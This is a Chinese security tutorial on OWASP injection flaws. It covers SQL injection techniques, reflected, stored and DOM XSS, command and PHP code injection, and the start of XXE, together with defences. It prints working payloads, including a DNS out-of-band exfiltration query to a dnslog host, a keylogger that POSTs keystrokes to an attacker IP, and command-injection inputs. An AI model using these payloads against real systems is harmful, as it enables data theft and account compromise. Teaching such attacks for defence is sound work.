2021 OWASP TOP 3:注入漏洞


前言:

注入漏洞是上一份OWASP TOP 10中的榜首大哥, 同时也是在过去十年中最具威慑力的漏洞类型之一 ,常见的注入漏洞有SQL 注入、命令注入、XSS代码注入等。

从抽象定义来说,注入攻击的本质是数据段与指令段的混淆,攻击者在原本应该作为数据段的输入中插入了恶意指令,同时将该恶意指令作为代码执行。

一、SQL注入

1、SQL注入起手式

SQL 注入是 Web 安全领域最危险的漏洞种类之一,一方面 SQL 注入漏洞的利用过程比较简单,另一方面 SQL 注入漏洞可能导致数据库失窃、数据被篡改及清除等安全风险。在更严重的情况下,SQL 注入可以通过应用程序传递恶意命令,控制托管数据库的操作系统,并以此为跳点成功进入内网。 本节主要总结了SQL注入的危害和SQL注入的实战技法。

1)SQL注入的危害

首先,常规的理解就是SQL注入会泄露我们的数据,这也是SLQ注入的基本利用方式。

比如下面这个URL,是一个商城的个人信息编辑页面,用于编辑、展示和存储个人信息,通常他的URL地址如下:

https://example.com/user_info?username=W0ngk

通常这种情况下,对应的SQL语句是下面这样的:

SELECT * FROM users WHERE username = 'W0ngk';

如果我们这里变换一下username的格式为一段SQL语句,比如这样:

user_info?username=Tets' or '1'='1

这样我们的SQL语句是不是就变成了下面这样:

SELECT * FROM users WHERE username = ‘W0ngk' or '1'='1';

很显然这是一个永真式,能够查询出我们数据库中的所有用户的信息。

上面这个例子就是一个简单的SQL注入造成数据泄露的例子,但是除了泄露数据之外,我们还能通过SQL注入修改程序逻辑,比如我们常见的登录框“万能密码”。

首先我们来看看常规的登录认证的SQL语句:

SELECT * FROM users WHERE username = 'W0ngk' and password = 'W0ngk';

这种情况才,如果查询到结果则说明登录成功,否则说明登录失败。但是如果我们构造一下数据来进行验证:

username=W0ngk' or '1'='1&password=W0ngk

此时我们的SQL语句就是下面这种情况:

SELECT * FROM users WHERE username = 'W0ngk' or '1'='1' and password = 'ErrorPasswd';

很显然,这也是一个永真式,肯定能够查询到数据,从而让我们登录成功。

2) SQL 注入实战技法

  • 通过报错判断数据库类型

    不同种类的数据库,报错格式是不一样的,我们可以通过报错信息来观察数据库的类型:
    mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...
    MSsql: Microsoft SQL Native Client error ...
    SqlLite: Query failed: ERROR: syntax error at or near ...
    
  • 不同数据库查询版本号的方法也不同

    SELECT @@version; -- Microsoft, MySQL
    SELECT * FROM v$version; -- Oracle
    SELECT version(); -- PostgreSQL
    
  • 通过infoemation_schema库查询数据库的表、列等信息

    SELECT * FROM information_schema.tables;
    SELECT * FROM information_schema.columns WHERE table_name = 'users';
    SELECT * FROM all_tables; -- For Oracle
    SELECT * FROM all_tab_columns WHERE table_name = 'USERS'; -- For Oracle
    
  • 探测SQL注入是否存在的一些简单方法

    方法1:在参数后面传入特殊字符,比如单引号、双引号、分号、注释符等
    方法2:对于数字型参数,使用加减运算,判断运算符是否执行,比如 id=123-10。如果执行的结果是113对一个的结果,说明存在漏洞
    方法3:通过 or 1=1 ,and 1=1 ,and 1=2-1, or '1'='1'等方式判断and或者or语句能否执行。
    

2、SQL注入攻防实践

在分析SQL注入攻防事件技术之前,我们需要先了解一下SQL注入的种类:

在这里插入图片描述

可见,SQL注入根据不同的场景,分为了很多不同的种类,对应的不同种类也有不同的注入和利用方法。

1)Union 联合注入

当 SELECT 语句中存在可以使用的 SQL 注入漏洞时,就可以用联合注入方法进行 SQL 注入,将两个查询合并为一个结果或结果集。

比如下面这个例子,是一个简单的信息查询语句:

SELECT Name, Phone, Address FROM Users WHERE Id=$id
# http://www.example.com/product.php?id=10

如果我们构造id参数的数值为下面这种情况:

?id=-1+union+select+databse(),version(),user()

那么整个查询语句就会变成下面这种情况:

SELECT Name, Phone, Address FROM Users WHERE Id=-1+union+select+databse(),version(),user()

由于union前的Sql查询 id=-1查询不到结果,就会展示union后的查询结果,查询到数据库名、数据库版本和数据库连接用户。

通过观察上面可以看到,我们union联合查询后的数据,一共是查询的三个字段,为什么要查寻三个字段呢,其实是因为我们的union联合查询的前后要保证查询字段数一致,而在我们原本的SQL查询中,是查询的三个字段,所以我们在union语句中也要查询三个字段下行。如果只想查询一个或者两个字段,我们可以对其他字段使用常数进行占位。就像下面这样:

?id=-1+union+select+databse(),1,2  -- 使用1和2进行占位

但是上面这个例子我们能够指导原本SQL语句中查询的字段数是3,但是真实测试环境下我们是不知道具体字段数的,那么如何来判断呢?这里我们就用到了sql的 order by语句。例如:

SELECT Name, Phone, Address FROM Users WHERE Id=1 ORDER BY 5

其中ORDER BY 5意味着,将获取的数据按照第5个字段来进行排序。如果字段个数不足5个,就会报错;如果能正常获得输出,那么就能推断出字段个数不少于5个。通过递增修改ORDER BY后的值,我们就可以成功推断出字段的个数。

获取到字段数后,我们就可以使用union联合查询来进行利用,但是存在一个问题就是如果union前后对应的字段数据类型不一样,也同样会报错,所以我们为了避免这种情况,可以直接像上面一样,将union前面的判断参数id设置为一个不可能查询到的数据(比如负数),这样就保证了我们的union查询数据唯一,就不会存在类型不同报错的情况。

2) Boolean 盲注

当应用可以受到注入攻击,但是它反馈的响应内容,不包含相关的 SQL 查询结果或者数据库报错详细信息时,联合注入就会变得无效,这时我们可以使用盲注。

盲注也有很多种利用方式,如果应用可以根据是否查询到内容这一点,进行不同的响应,那我们就可以使用盲注。比如,网站设计者制作了一个错误界面,它不返回 SQL 语句的具体错误信息,而是仅仅返回错误代码,像是HTTP 500等类似信息。这时我们可以通过适当的推理,来绕过这个阻碍,最终成功获取到我们想要的数据。

首先我们来分析一下布尔盲注可能会用到的一些函数:

substring(text, start, length)  # 在“text”中从索引为“start”开始截取长度为“length”的子字符串,如果“start”的索引超出了“text”的总长度,那么该函数返回值为“null”。
ascii(char)   # 获取“char”的 ASCII值,如果“char”为“null”,那么该函数返回值是0。
length(text)  # 获取“text”字符串的长度。

利用上述函数,我们就能进行一下简单的盲注漏洞利用了。比如下面这个例子, 有一个叫Users的数据表,包含字段Id,username,我们可以使用盲注枚举出数据库名 的每一个字符值,通过拼接得出完整的数值,如下是判断数据库名的第一个字符的 ASCII 值是否为 97 的语句:

SELECT usernam, passsword, status FROM Users WHERE Id='1' AND ascii(substring(database(),1,1))=97 AND '1'='1'

如果得到了正确的回应,就说明database_name的第一个字符的 ASCII 值为 97,我们通过查询 ASCII 表就可以获得对应的字符值,之后继续判断database_name的后续字符。如果得到错误回应,那我们可以把 ASCII 的值进行更换,直到换为正确回应为止。

此外值得之一的是,我们如果值按照上面的方法来操作是不行的,因为我们不知道要查寻的database_name的长度,如果一直不停的换,那肯定是不行的,但是我们上面提到了length()函数,在对没一个字符进行猜解前,可以先使用这个函数进行结果长度判断,比如下面这种情况:

SELECT usernam, passsword, status FROM Users WHERE Id='1' AND length(database())=3 AND '1'='1'

通过上面这种情况,我们能够结合响应结果判断数据库名的长度是否为3,如果不是可以一直递增判断,直到找到正确的长度数值。然后在结合前面的挨个判断字符的方法来获取具体的数据。

3) 时间盲注

还是一样的,我们先来看看时间盲注会用到的函数:

if(exp1,exp2,exp3) # 判断语句,如果第一个语句正确巨执行第二个,否则执行第三个
sleep(n)     #将程序挂起一段时间,n的单位为s
benchmark(exp1,exp2)   # 将一个表达式执行多遍,主要用于开发中测试sql运行速度,可以用作sleep函数的替换,参数1是表达式的执行次数,参数2是要执行的表达式

我们顺着报错注入的例子,继续深入思考。如果应用系统具备很好的错误处理逻辑,这样在响应请求时不会产生异常,报错注入就会失效。这种情况,我们可以尝试时间盲注(又称为时延注入)。

这种攻击方案的底层逻辑是,攻击者通过控制注入的参数,能够获得服务器的响应延时控制权。这种注入方式与数据管理系统相关,具体实施需要确认数据管理系统的信息。如下为一个时间盲注示例:

SELECT * FROM products WHERE id_product=10 AND IF(version() like5%, sleep(10),1))--
# http://www.example.com/product.php?id_product=10 AND IF(version() like ‘5%’, sleep(10), 1))--

在这个例子中,攻击者先检查 MySQL 的版本是否为 5,如果判断为真,则让服务器延时十秒返回结果。

4)报错注入

首先我们说说报错注入的利用前提。以mysql数据库为例,在程序中使用了mysql_error()函数输出了报错信息才能够进行利用。

基本条件知道了,那我们还是老规矩,看看报错注入常用的函数。

floor(exp1)#对一个数进行向下取整,实际上,单纯的这个数对报错注入作用不大,但是结合其他的函数就会产生报错具体的可以看后面的分析。
updatexml(exp1,exp2,exp3) #第一个参数是一个XML文档对象名称,第二个参数是XPath格式的字符串,第三个参数是string格式的字符串,用于替换查找到的符合条件的数据
extractvalue(exp1,exp2)  #第一个参数是一个XML文档对象名称,第二个参数是XPath格式的字符串

下面这个SQL语句假设存在SQL注入,并且使用了 mysql_error()函数输出错误信息:

SELECT * FROM products WHERE id_product=$id_product

此时我们使用floor()函数构造paylaod,插入后是下面这种情况:

SELECT ID,NAME,TIME FROM products WHERE id_product=1 union select 1,2,3 from (select count(*),concat(floor(rand(0)*2),database())x from `users` group by x)a 

这里我们使用了concat(floor(rand(0)*2),database()),来举例分析, floor(rand(0)*2) 产生的前五个数一定为01101,后面再拼接上 database() ,这个是固定值,先不用管。接下来模拟下 group by 过程,遍历 users 表第一行时,先计算出一个 x=0security,查临时表,不存在,再次计算 x 然后插入 x=1security;遍历到第二行,计算出一个 x=1security,临时表中已经存在,继续遍历;遍历到第三行,计算出一个 x=0security,发现表中没有,再次计算 x 然后插入 x=1security,因为刚才已经插入过一个 1security,所以这时就发生主键重复。然后把 1security 作为报错信息输出,攻击者便可得到相关信息。

然后我们使用updateXml函数进行注入分析,构造的payload如下:

SELECT ID,NAME,TIME FROM products WHERE id_product=-1 and updatexml(1,concat(0x7e,(select group_concat(database(),version(),user())),0x7e),1)

这里我们使用了group_concat来拼接database(),version(),user()的结果,然后再使用了concat()函数在收尾拼接上0x7e的符号,用于定位我们查询到的字符,最后通过updatexml()函数爆出来我们查询的结果。查询的结果如下(仿真数据):

ERROR 1105 (HY000): XPATH syntax error: '~test,5.7.17,root@localhost~'

最后在看看extractvalue()函数构造的paylaod:

SELECT ID,NAME,TIME FROM products WHERE id_product=-1 and (select extractvalue(1,concat(0x7e,(select database()),0x7e)))

查询结果为:

ERROR 1105 (HY000): XPATH syntax error: '~test~'

值得注意的是:

  • extractvalue() 能查询字符串的最大长度为 32,如果我们想要的结果超过 32,就要用 substring() 函数截取或 limit 分页,一次查看最多 32 位
  • 使用 concat 时,必须要把 database() 等注入语句写到不符合 xpath 的后面(例如 0x7e),因为报错时,从不符合的位置开始输出

5) DNS外带注入

在学习DNS外带注入之前,我们先来了解一下什么是泛域名解析:

其实很简单,就是 *. 的所有域名解析到同一 IP,举个例子,talentsec.cn 指向了一个 IP,在使用了泛域名解析技术的情况下,test.talentsec.cn 也会指向同一个 IP 地址。 

DNS 带外注入,是使用不同通道检索数据的技术(例如,建立 HTTP 连接将结果发送到 Web 服务器等)。这个方法使用 DBMS 的功能,执行带外连接,并将注入查询的结果作为请求的一部分传递给攻击者。和报错注入类似,每个数据库管理系统有自己独有的功能函数,我们需要确认数据库管理系统的信息。下面就是一个 DNS 带外注入的示例:

SELECT * FROM products WHERE id_product=$id_product

#http://www.example.com/product.php?id_product=-1+and+(select%20load_file(concat('\\\\',(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),'.1bwr3jo.ceye.io\\aa.txt')))%20--+

该payload使用了loadfile函数,该函数在这里可以通过UNC路径读取远程机器上的文件。它的参数是用concat函数拼接起来的UNC路径,由于\代表了转义的意思,所以实际拼接为\{query_result}.1bwr3jo.dnslog.cn\aa.txt,其中{query_result}为查询的结果,根据泛域名解析原理,该请求会被1bwr3jo.dnslog.cn记录下来。

在这里插入图片描述

值得注意的三个点:

1:上述例子为GET注入,空格应该使用%20替换,不能使用“+”,否则无法解析
2:利用条件1是msyql的配置文件mysql.ini 中 secure_file_priv 必须为空,默认该选项没有,需要手动加入,所以常规情况下很难遇到
3:利用条件2是由于采用的UNC路径解析的方式来外带数据,所以需要具有smb服务,也就是说操作平台局限在了windows平台下,毕竟几乎没有linux系统会安smb服务

6)存储过程注入

在存储过程中,如果应用系统使用和用户交互式的 SQL 输入,程序就必须考虑注入风险。开发人员需要严格判断用户输入的合法性,以消除代码注入的风险。如果风险不清理,存储过程就可能会被用户输入的恶意代码污染。

下面这段代码,是存储过程注入示例:

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = 'Select * ' + @columnamelist + ' from ReportTable'
exec(@sqlstring)
Go

如果用户输入的内容是这样的:

from users; update users set password = ‘password’; select *

上述代码会把用户的输入赋值给@sqlstring,在之后的存储过程中执行,导致所有用户的密码更改为password。

这种方式类似与堆叠注入,但是实际上实在存储过程中操作的,所以有些资料说的存储过程可以防御SQL注入的方法,在拼接参数的情况下依然存在注入风险。

3、SQL注入防御

使用参数化查询(预编译)代替字符串连接查询,可以避免绝大多数的 SQL 注入类安全风险。这种方法的实现原理其实很简单,采用参数化查询的 SQL 语句会预先编译好,SQL 引擎会预先进行语法分析、产生语法树以及生成执行计划,经过这些预处理,后面无论输入什么,都只会被当作字符串字面值参数,并不会影响 SQL 的语法结构,因此是一种优秀的 SQL 注入防御方案。

比如以下代码,采用了字符串拼接查询,因此很容易受到 SQL 注入攻击:

String query = "SELECT account_balance FROM user_data WHERE user_name = " +request.getParameter("customerName");
try {
    
    
    Statement statement = connection.createStatement( ... );
    ResultSet results = statement.executeQuery( query );
}

通过如下参数化查询的优化方案,该代码就可以有效避免用户输入干扰查询结构:

String custname = request.getParameter("customerName");String query = "SELECT account_balance FROM user_data WHERE user_name = ?";PreparedStatement pstmt = connection.prepareStatement( query );pstmt.setString(1, custname);ResultSet results = pstmt.executeQuery();

参数化查询虽然是一个非常优秀的 SQL 注入防御方案,但也并非是一个万全之策。当不信任的输入作为数值出现在查询语句中,这时比较适合用参数化查询来处理,比如WHERE语句以及INSERT或者UPDATE语句中出现的值。

但是,当不信任的输入出现在查询语句其他位置,这种方法就不再适用了,例如表名、字段名或者ORDER BY语句中。想要把不受信任的数据放入这些位置,需要采用不同的方法来避免注入攻击。例如,将允许的输入值列入白名单中,或者使用更安全的逻辑来实现我们的需求。使用白名单列表的输入验证,也是一个可行且优雅的防御方案。

如果在 SQL 查询中使用了绑定变量,比如表或列的名称,以及排序、顺序指示符(ASC 或 DESC),此时输入验证是最合适的防御方案。需要注意的是,通常表或列的名称,应该来自代码而不是用户,但是如果用户参数值被用于指明不同的表名和列名,那么参数值应该映射到合法或是预期的表名或列名,以确保用户的输入在经过验证之后才会出现在查询中。

下面是一个数据表名验证的示例:

String tableName;
switch(PARAM):
  case "Value1": tableName = "fooTable";
                 break;
  case "Value2": tableName = "barTable";
                 break;
  // ...
  default      : throw new InputValidationException("unexpected value provided for table name");

示例中的 tableName 可以直接加到 SQL 查询中,因为它现在是这个查询中表名的合法预期值之一。

当上述方法都不可行时,我们还可以将用户输入放入查询之前对其进行转义。比如使用mysql_real_escap_string() 或者adshelescahrs()寒素。但是此技术只应作为最后的手段使用,一般只建议在实现输入验证不符合成本效益时考虑使用。因为与其他防御相比,这种方法很脆弱,我们并不能保证它会在所有情况下成功阻止 SQL 注入。

二、XSS注入

1、XSS 攻击基础

XSS 即跨站脚本攻击,是 OWASP TOP10 之一。它的全称为 Cross-site scripting,之所以缩写为 XSS 是因为 CSS 这个简称已经被占用了。这就是 XSS 名称的由来。

XSS 攻击的原理为,浏览器将用户输入的恶意内容当做脚本去执行,从而导致了恶意功能的执行,这种针对用户浏览器的攻击即跨站脚本攻击。它的攻击方式可以分为三种类型,我在下图将它们列举出来了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pem9k0eo-1657294063079)(img/7172a54a6f8ffdc207a8c28e3e474304.png)]

2、反射型XSS

当应用程序将收到的用户输入,在未经验证或转义的情况下直接作为 HTML 输出的一部分时,攻击者就可以输入一些 JavaScript 脚本,使得受害者的浏览器执行任意的 JavaScript 代码。这就是反射型 XSS 攻击,之所以称之为反射型 XSS,是因为这种攻击需要用户提供一个恶意输入,然后页面据此进行反射,执行攻击的命令。

首先我们来看一个简单的例子(XSS-labs-level1):

在这里插入图片描述

这是一个基础的XSS漏洞测试靶场的第一关,可见上述靶场存在一个GET型的参数name让我们进行输入,我们传入一个常规的XSS测试paylaod:?name=<script>alert("XSS")</script>后,发现成功弹窗,不过和我们以及的谈一个“XSS”并不一样,这是由于靶场作者在设计之初就将所有的弹窗重定向为了下面这个样子。

在这里插入图片描述

此时我们来看看源码,发现已经成功的插入了html源码中:

在这里插入图片描述

接着我们来看看下一个示例:

在这里插入图片描述

可见上图中,我们参照第一关插入了XSS代码,但是并没有生效。而是原模原样的输出到了结果页面。我们接着把目光放到源码中(第三个框框的位置)发现我们输入的内容是使用h2标签包裹着的。那我们是不是可以像测试SQL漏洞一样,输入标签符号来闭合前面的标签呢?这里我们来试一试:

在这里插入图片描述

很显然这里我们尝试闭合h2标签失败了,但是我们考到,在输入框的位置,我们的输入内容被展示出来,并且被截断成两部分了,是什么原因呢?我麻来看看源代码:

在这里插入图片描述

可以看到,在我们的输入框这里,输入的内容被当做了Html代码闭合到程序代码中,造成了我们输入的数据错位的情况,那我们这里不就是可以利用input输入框来闭合之后执行XSS攻击代码吗:

在这里插入图片描述

可见我们成功的闭合了input标签并执行了XSS代码。

从上述内容中,我们可以知道,反射型 XSS 具有非持久化的特点,因为用户必须点击带有恶意参数的链接才能引起这个攻击。同时它的影响范围很小,只有那些点击了恶意链接的用户才会受到它的攻击。

3、存储型XSS

上面说了非持久型的XSS,这里我们就来看看持久型的XSS攻击。

存储型 XSS 是指应用程序通过 Web 请求获取不可信赖的数据,在未检验数据是否存在 XSS 代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时,程序也没有对其进行过滤,使得页面再次执行 XSS 代码。与反射型 XSS 不同的是,存储型 XSS 可以持续攻击用户。

攻击者想要发起存储型 XSS 攻击,首先需要将恶意代码进行上传,上传的位置主要有留言板、评论区、用户头像、个性签名以及博客。如果 Web 应用没有限制上传的内容,并且将该内容存储到了数据库中,那么存储型 XSS 就成功了第一步。

接下来,想要使得存储型 XSS 攻击生效,还需要让 Web 应用去读取之前存储的恶意代码。这就非常的简单,比如我们的留言板,每一个打开了该网站的都都会加载留言板的内容,从而读取数据库中的恶意代码造成攻击。那么第二步也就成功了。

下面我们来看一个实例:

在这里插入图片描述

在这个实例中,我们输入 <script>alert(1)</script> 点击上传,之后页面会刷新,并且弹出警告框 1,之后这个页面每次被访问,都会引起恶意命令的执行。

从结果我们知道,我们的恶意命令成功执行,这代表了我们的恶意输入被上传到数据库中,并且 Web 应用读取了它,将它解析出来。

根据我们对存储型 XSS 攻击的了解,我们不难知道,它的危害性是远远高于反射型 XSS 攻击的。因为它的影响范围远远高于反射型 XSS,它会影响到所有访问到受攻击 Web 页面的用户。

4、DOM型XSS

首先我们需要知道什么是 DOM,DOM 就是文档对象模型,它可以将文档解析成一个由节点和对象(包含属性和方法的对象)组成的结构集合。简单来讲,它会将 Web 页面和脚本程序连接起来。

DOM 型 XSS 攻击其实是一种特殊类型的反射型 XSS,通过 JavaScript 操作 DOM 树动态地输出数据到页面,而不依赖于将数据提交给服务器端,它是基于 DOM 文档对象模型的一种漏洞。

DOM 型 XSS 的攻击方式,其实与反射型 XSS 很相似,它们都是没有控制好输入,并且把 JavaScript 脚本作为输出插入到 HTML 页面。不同的是,反射型 XSS 经过后端语言处理后,页面引用后端输出生效。而 DOM 型 XSS 是经过 JavaScript 对 DOM 树直接操作后插入到页面。相比于反射型 XSS 攻击,它的危害性更大,因为它不经过后端,所以可以绕过 Waf 的检测。

下面我们通过一个实际的例子来学习一下DOM型XSS:

在这里插入图片描述

打开后发现了一个选择框,我们无法从这里进行输入,通过点击 Select 按钮,我们从链接中可以发现,它是通过 GET 方式上传的参数。

http://www.example.com/vulnerabilities/xss_d/?default=English

这就给了我们输入的机会,然后进一步观察页面的源代码,对此进行分析:

if (document.location.href.indexOf(default=) >= 0) {
    
    
    var lang=document.location.href.substring( document.location.href.indexOf(default=)+8);
    document.write(<option value=‘” + lang + “’>+ decodeURI(lang) +</option>);
    document.write(<option value=‘’ disabled=‘disabled’>——</option>);
}

从源代码中我们可知,这个页面属于 DOM 型 XSS 攻击,它没有经过后端处理,是直接用 document.write 函数将输入显示在页面中,并且没有做任何限制。因此我们可以用下述链接执行我们的攻击命令:

http://www.example.com/default=<script>alert(1)</script>

可以看到,我们的靶机上已经成功的执行了XSS代码。

在这里插入图片描述

5、XSS攻击的危害性

XSS 攻击的危害主要包括四种类型,我已经将它们整理在下图中,它们分别是盗取 cookie、按键记录和钓鱼、广告植入以及欺骗跳转。

在这里插入图片描述

盗取 cookie:

cookie 在英文中的意思为甜品、饼干,不过这里盗取 cookie 可不是偷饼干的意思哦。在 HTTP 请求中,cookie 代表着登录信息,我们在 Web 应用登录成功后,服务器端会生成一个 cookie。然后服务器端会将这个生成的 cookie 发送给我们,供我们之后访问的时候使用。

如果攻击者拿到 cookie 信息了,那他就可以实现登录我们的账号,这是非常危险的,所以我们平时需要保护好我们的 cookie 信息。

按键记录和钓鱼:

实现这种攻击的原理是,通过js代码可以去调用远程地址中的 JavaScript 文件,使得 keylogger.js 中的代码被执行。这里的 keylogger.js 的内容为:

document.onkeypress = function(evt) {
    
    
    evt = evt || window.event;
    key = String.fromCharCode(evt.charCode);
    if(key) {
    
    
        var http = new XMLHttpRequest();
        var param = encodeURI(key);
        http.open("POST","http://192.168.3.193/keylogger.php",true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        http.send("key="+param);
    }
}

其作用就是创建了一个监听按键的事件,这个事件可以记录用户在当前页面按下的每一个键,并将接收到的按键通过 POST 方式上传到攻击者用来存储按键记录的服务器上。

其中 keylogger.php 的代码为:

<?php
  $key=$_POST['key'];
  $logfile="keylog.txt";
  $fp = fopen($logfile,"a");
  fwrite($fp,$key);
  fclose($fp);
?>

我们还可以将这个按键记录做一下加工,使得用户可以输入一些敏感信息例如账号、密码等信息。我们可以用 JavaScript 创建出一个伪造的登陆框,这样用户很可能会上当,在这里输入自己的用户名和密码,我们可以利用之前的按键记录获取到这些信息。这种行为就是钓鱼攻击。

当然了,XSS还有一下其他的攻击方式,比如插入广告、网页挂马、欺骗跳转、点击劫持等等。要想尝试更多的攻击方法,可以学习一下XSS攻击平台Beef的使用,这里不做过多讲解。

6、XSS漏洞检测与防御

1)XSS的检测

在对 XSS 攻击的检测中,我们需要借助工具的帮忙。现在已经有了很多的 XSS 检测工具,这给我们带来了极大的便利,不再需要我们手动注入尝试了 。

这里介绍的是 XSStrike,它的大多数 payload 都是由作者精心构造出的,具有极低的误报率。XSStrike 会根据我们的输入,智能地生成合适的 payload 进行探测。

关于该工具的使用,请参看文末的参考资料。

这里我们拿该工具做一个小实验,对XSS-labs的第一关进行检测:

在这里插入图片描述

可以看到,我们这里其实是已经在开始检测了,并且检测评结果评分都在90分以上,说明是可能存在漏洞的,但是可能是python版本问题,跑到一半的时候报错了,体验属实不佳。

另外值得注意的是,网上有人抱怨该工具cookie处理有问题,没有cookie加载选项,但是其实是有的,使用的–headers参数就可以加上我们的cookie了。

2)XSS的防御

总体来说,对于 XSS 攻击的防御思路可以概括为一句话:对输入参数进行过滤拦截,对输出内容进行处理。

对输入参数的过滤:

由于 XSS 攻击本质上就是 JavaScript 代码的注入,而注入问题的核心就是需要对用户的输入保持怀疑与警惕。针对用户的输入,有两种不同的解决方案,即黑名单过滤和白名单过滤机制。 

对输出内容编码:

XSS 攻击生效的原因除了输入外,还有 Web 应用将内容直接放到输出中,导致了 JavaScript 代码的生效。 针对这一点,我们可以将输出中的危险内容进行编码,例如将 < 编码为 &lt,将 > 编码为 &gt,这样就会使得 <script> 变为 &ltscript&gt,自然我们注入的 JavaScript 负载就无法生效,所以这也是可以有效防御 XSS 攻击的。
例如在PHP中,我们就可以使用htmlspecailChars()函数对输出内容进行Html实体编码,从而很好的防御XSS攻击。

其他缓解方法:

方法一:
加上 Web 应用的响应头 Content-Security-Policy,并将它的内容设置为我们想要实现的策略,这样就能让 CSP 成功生效。关于什么是CSP策略,CSP策略有什么用,情况文末参考资料。
方法二:
对Cookie设置http-only参数,有效防止XSS攻击读取客户端的cookie,避免直接被盗取登录权限。

XSS漏洞的防御多种多样,但是任然可能存在一些缺陷,导致我们的防御措施被绕过,比如javascript代码混淆技术,就能够很好的绕过waf检测和黑名单机制。关于javascript混淆技术,详细介绍请参考文末的参看资料。

三、命令注入

1、系统命令注入

命令注入,就是在仅仅需要输入数据的场合,攻击者构造数据的同时输入了恶意命令代码,而系统并未过滤掉恶意命令,使得恶意命令代码一并执行,最终导致信息泄露或者正常数据遭到破坏。

命令注入中,最常见的是操作系统命令注入,攻击者可以使用这种注入攻击对服务器执行操作系统命令。例如攻击者可以执行命令rm -f,来删除一些重要的文件。

该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

比如下面这个代码,就是通过exec命令来ping一个IP地址:

 if( isset( $_POST[ 'Submit' ] ) ) {
  // Get input
  $target = $_REQUEST[ 'ip' ];
  if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows
    $cmd = shell_exec( 'ping ' . $target );
  }else { //linux
    $cmd = shell_exec( 'ping -c 4 ' . $target );
  } 

可以看到,我们输入的IP地址被直接带到了exe函数中执行,对于䘝正常的用户来说,可能就是指挥输入一个IP地址来检测是否能ping通。但是对于一个黑客来说,他的输入可能是这样的:

8.8.8.8 && ls /

此时我们的CMD参数就是这样的:

 $cmd = shell_exec( 'ping ' . 8.8.8.8 && ls / );

很显然,我们的命令是能够被执行的。结果就是下面这样:

在这里插入图片描述

当然,实际的测试场景可能不会像靶场里这么简单,但是原理都是一样的,只不过可能会有一些安全防护手段,导致我们攻击利用起来不会这么顺利。但是总有一些方法可以应对,有兴趣的可以看看后面的参考资料,大神写的命令注入绕过WAF总结。

通过上面的总结和实验,我们基本理解了命令注入的原理和利用方法, 除此之外,我们还可以通过其他方式实现命令注入,例如代码注入,下面就是一些关于代码注入学习。

2、代码注入

常见的代码注入包括了Java代码注入、PHP代码注入以及中间件代码注入等。这里以PHP代码注入作为入门进行简单总结。

通常,系统设计者为了系统顺利运行,会允许用户调用其中的数据去实现想要的功能。但是当用户输入的内容包含了恶意代码后,这种对恶意代码的防范不到位,导致的恶意代码执行,就是代码注入。

下面,是一个简单的例子:

$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
    
    
  $name = $_GET["name"];
  $message = $_GET["message"];
  $handle = fopen($MessageFile, "a+");
  fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
  fclose($handle);
  echo "Message Saved!<p>\n";
}else if ($_GET["action"] == "ViewMessages") {
    
    
  include($MessageFile);
}

在这个例子中,程序设计者希望 message参数仅仅为数据,只包含一个正常的数据文件的内容。但攻击者可以将它设置为:message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E 这样,PHP就会将代码解析为<?php system("/bin/ls -l");?> ,并且执行这段代码。这就导致这段代码会在/bin/目录下,运行ls -l这条命令,输出该目录下的文件和对应的权限,这段恶意代码会在用户使用ViewMessages功能时执行。

关于代码注入和命令注入,其实我们更多的是要关注一些能够执行代码或者执行命令的函数,以PHP为例,常见的命令执行函数有exec(),shell_exec(),system()等函数,而代码执行函数有eval(),assert(),array_map()等。

关于更多的命令执行和代码执行的函数以及这些函数的详细讲解,请参考文末的资料“PHP代码审计常用函数解析”中的代码执行和命令执行相关的函数。

3、命令注入和代码注入的防范

命令注入的防御思路:

防止操作系统命令注入漏洞最有效的方法,就是阻止应用层代码调用操作系统命令。如果使用用户提供的输入来调用操作系统命令,是无法避免的,那么必须执行强输入验证,例如:白名单验证、输入字符类型限制等操作。

代码注入防御思路:

在应用设计阶段,我们可以让该应用在类似沙箱环境中运行代码,该环境在进程和操作系统之间要有严格的界限。这样就可以限制它对操作系统的影响,阻止它执行操作系统命令。在实施阶段,我们可以在输入验证中使用白名单策略来进行输入验证,从而降低代码注入的可能性。

四、XML外部实体注入

XML 即可扩展标记语言,它的名称来自 eXtensible Markup Language 的缩写。XML 与 HTML 不同,它仅仅被设计用来传输和存储数据,并不负责数据的显示。被广泛应用于各种 Web 应用中,为数据的读取提供了极大的便利。

可是 XML 在给我们带来便利的同时,也带来了一些安全性的问题,也就是我们常说的XML外部实体注入,也就是XXE漏洞。

1、初识XML语言

在学习XXE漏洞之前,我们需要先了解一下XML语言。首先我们先来看一个XML语言实例:

# 这是XML声明。
<?xml version="1.0" encoding="ISO-8859-1"?>
# 接下来开始了对存储数据的描述,它的根元素为`note`。
<note id=“1”>
  <data>2022/02/08</data>
  <to>LiYang</to>
  <from>WangHua</from>
  <heading>Email</heading>
  <body>Welcome to China!</body>
</note>  

代码的第一行为XML语言的声明,他定义了XML语言的版本为1.0,采用的数据编码格式是ISO-8859-1编码。

完成声明之后,就是我们的数据存储部分,以看到它包含了很多的标签,其中 note 标签是它的根节点,在根节点下面有很多标签如 <to\ ,<from>等,这些标签的名字可由我们自由设定,标签中夹的内容为标签对应的数据,这可以方便 Web 应用去获取。

对于XML的格式,其基本的要去就是XML 文档必须要有根元素,在上述代码示例中 note 即为根元素。符合这一个要求后,验证程序会去检验 XML 文档中必须有关闭标签,即有了<data> 就必须要有 <\data>,并且标签中的字母大小写要一致。最后,验证程序会去判断 XML 是否被正确嵌套了,并且验证它的标签中的属性值是否加了引号。

当一个 XML 文档符合上述形式要求后,它还需要满足一个文档类型定义即 DTD 的语法规则,对于DTD的文档类型定义如下,这里我们还是先使用一个示例代码来帮助我们理解他:

<!DOCTYPE note [
